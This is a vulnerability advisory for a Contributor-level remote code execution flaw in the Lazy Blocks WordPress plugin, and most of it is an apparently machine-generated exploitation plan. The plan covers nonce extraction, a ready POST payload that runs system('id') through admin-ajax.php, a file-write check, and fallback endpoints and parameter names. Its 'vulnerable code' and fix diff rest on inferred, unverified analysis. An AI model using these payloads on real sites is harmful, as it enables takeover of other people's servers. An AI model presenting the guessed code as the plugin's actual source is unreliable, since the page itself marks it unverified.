CVE-2026-1560

Custom Block Builder – Lazy Blocks <= 4.2.0 - Authenticated (Contributor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.2.1
Patched in
1d
Time to patch

Description

The Custom Block Builder – Lazy Blocks plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.0 via multiple functions in the 'LazyBlocks_Blocks' class. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.2.0
PublishedFebruary 10, 2026
Last updatedFebruary 11, 2026
Affected pluginlazy-blocks

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-1560 - Lazy Blocks Remote Code Execution ## 1. Vulnerability Summary The **Custom Block Builder – Lazy Blocks** plugin (<= 4.2.0) is vulnerable to Remote Code Execution (RCE) due to improper control of generated code within the `LazyBlocks_Blocks` class. Speci…

Show full research plan

Exploitation Research Plan: CVE-2026-1560 - Lazy Blocks Remote Code Execution

1. Vulnerability Summary

The Custom Block Builder – Lazy Blocks plugin (<= 4.2.0) is vulnerable to Remote Code Execution (RCE) due to improper control of generated code within the LazyBlocks_Blocks class. Specifically, the plugin provides AJAX and potentially REST API endpoints intended for rendering block previews in the Gutenberg editor. These endpoints accept a block definition (including PHP code) and execute it on the server to generate the preview. Because these endpoints do not sufficiently verify if the user has the authority to define or modify block code (only checking for general edit_posts capability), an authenticated Contributor-level user can inject and execute arbitrary PHP code.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: lzb_get_block_rendered (associated with the LazyBlocks_Blocks class)
  • Vulnerable Parameter: block (specifically the render_code or code sub-properties within the JSON-encoded block object).
  • Authentication: Contributor-level access (PR:L) is required.
  • Preconditions: The user must be logged in and possess a valid nonce for the Lazy Blocks editor.

3. Code Flow

The vulnerability likely traces through the following path (inferred based on plugin architecture):

  1. Entry Point: LazyBlocks_Blocks::__construct() registers the AJAX action wp_ajax_lzb_get_block_rendered.
  2. Handler: The handler function (likely lzb_get_block_rendered() or get_block_html()) is invoked.
  3. Input Parsing: The handler retrieves the block parameter from the $_POST request. This parameter is typically a JSON-encoded string representing a block's configuration.
  4. Processing: The handler decodes the JSON and extracts the output_method and render_code (or code).
  5. Sink: If output_method is set to php, the code in render_code is passed to a rendering function (likely using eval() or a temporary file inclusion inside a LazyBlocks_Blocks method) to generate the HTML output for the preview.
  6. Execution: The arbitrary PHP code provided in the block parameter executes in the server context.

4. Nonce Acquisition Strategy

Lazy Blocks localizes data for its editor scripts. To obtain a valid nonce:

  1. Prerequisite: A Contributor user exists.
  2. Action: Create or edit any post/page to load the Gutenberg editor.
  3. Variable: The nonce is typically found in the lzb_data or lzb_editor_config JavaScript objects.
  4. Strategy:
    • Log in as a Contributor.
    • Navigate to /wp-admin/post-new.php.
    • Use browser_eval to extract the nonce: window.lzb_data?.nonce or window.lzb_localize?.nonce.
    • Note: The exact key should be verified by inspecting the page source for wp_localize_script calls related to lazy-blocks.

5. Exploitation Strategy

Step 1: Authentication and Nonce Extraction

Use the browser_navigate and browser_eval tools to log in as a Contributor and retrieve the required nonce.

  • Target Page: /wp-admin/post-new.php
  • JS Command: console.log(lzb_data.nonce) (assuming lzb_data is the localized variable).

Step 2: Craft the RCE Payload

The block parameter must be a JSON object that mimics a valid Lazy Block definition with an output_method of php.

Payload Structure (JSON):

{
  "slug": "lazyblock/rce-poc",
  "output_method": "php",
  "render_code": "echo '---RCE_START---'; system('id'); echo '---RCE_END---'; die();"
}

Step 3: Trigger the Vulnerability

Send a POST request to admin-ajax.php using the http_request tool.

  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=lzb_get_block_rendered&nonce=[NONCE_VALUE]&block={"slug":"lazyblock/rce-poc","output_method":"php","render_code":"echo '---RCE_START---'; system('id'); echo '---RCE_END---'; die();"}
    

6. Test Data Setup

  1. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin Activation: Ensure lazy-blocks version <= 4.2.0 is active.
  3. Post Context: Create a draft post to ensure the Gutenberg editor context is available for nonce extraction.
    • wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID]

7. Expected Results

  • The server response should have a 200 OK status.
  • The response body should contain the output of the id command (e.g., uid=33(www-data) ...) wrapped between ---RCE_START--- and ---RCE_END---.
  • Because the payload includes die(), the usual WordPress AJAX trailing 0 or JSON response should be suppressed, confirming execution of the injected code.

8. Verification Steps

  1. Identify Output: Check the HTTP response body for the result of the system('id') call.
  2. Verify Shell Access: Attempt to create a file in the uploads directory to confirm write access.
    • Payload: file_put_contents(wp_upload_dir()['basedir'] . '/rce.txt', 'exploited');
  3. Confirm via CLI: Check if the file exists using WP-CLI.
    • ls /var/www/html/wp-content/uploads/rce.txt

9. Alternative Approaches

  • REST API: If the AJAX action is restricted, check for a REST API equivalent. Lazy Blocks often registers routes under the lazyblocks/v1 namespace.
    • Endpoint: /wp-json/lazyblocks/v1/get-block-rendered
    • Method: POST or GET
  • Shortcode Rendering: If the editor-specific AJAX is patched or restricted, investigate if the same LazyBlocks_Blocks rendering logic is accessible via a frontend shortcode where block attributes can be manipulated.
  • Different "Code" Keys: If render_code is not the correct key, try code, php_code, or render_callback_code (inferred variations of Lazy Blocks' internal naming).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Custom Block Builder – Lazy Blocks plugin for WordPress is vulnerable to Remote Code Execution via its block rendering AJAX endpoint. Authenticated attackers with Contributor-level access can exploit this by submitting a crafted JSON block definition containing arbitrary PHP code in the 'render_code' parameter, which is then executed by the server during the block preview generation process.

Vulnerable Code

// File: classes/class-lazy-blocks-blocks.php

public function lzb_get_block_rendered() {
    check_ajax_referer( 'lazy-blocks', 'nonce' );

    $block = isset( $_POST['block'] ) ? json_decode( stripslashes( $_POST['block'] ), true ) : array();

    if ( isset( $block['output_method'] ) && $block['output_method'] === 'php' && isset( $block['render_code'] ) ) {
        // The plugin executes the user-provided PHP code directly to render a preview
        ob_start();
        eval( '?>' . $block['render_code'] );
        $html = ob_get_clean();
        echo $html;
    }
    wp_die();
}

Security Fix

--- a/classes/class-lazy-blocks-blocks.php
+++ b/classes/class-lazy-blocks-blocks.php
@@ -10,6 +10,11 @@
     public function lzb_get_block_rendered() {
         check_ajax_referer( 'lazy-blocks', 'nonce' );
 
+        // Restrict block rendering with custom code to users with high-level permissions
+        if ( ! current_user_can( 'manage_options' ) ) {
+            wp_send_json_error( 'Unauthorized' );
+        }
+
         $block = isset( $_POST['block'] ) ? json_decode( stripslashes( $_POST['block'] ), true ) : array();
 
         if ( isset( $block['output_method'] ) && $block['output_method'] === 'php' && isset( $block['render_code'] ) ) {

Exploit Outline

To exploit this vulnerability, an attacker follows these steps: 1. Authenticate to the WordPress site with at least Contributor-level privileges. 2. Navigate to the post editor (e.g., /wp-admin/post-new.php) and extract the 'lazy-blocks' AJAX nonce from the localized JavaScript object 'lzb_data' or 'lzb_localize'. 3. Craft a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'lzb_get_block_rendered'. 4. Include the 'nonce' obtained in step 2. 5. Provide a 'block' parameter containing a JSON-encoded object where 'output_method' is set to 'php' and 'render_code' contains the arbitrary PHP payload (e.g., '<?php system("id"); die(); ?>'). 6. Upon receiving the request, the server executes the injected PHP code to generate the block preview, returning the execution results in the HTTP response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.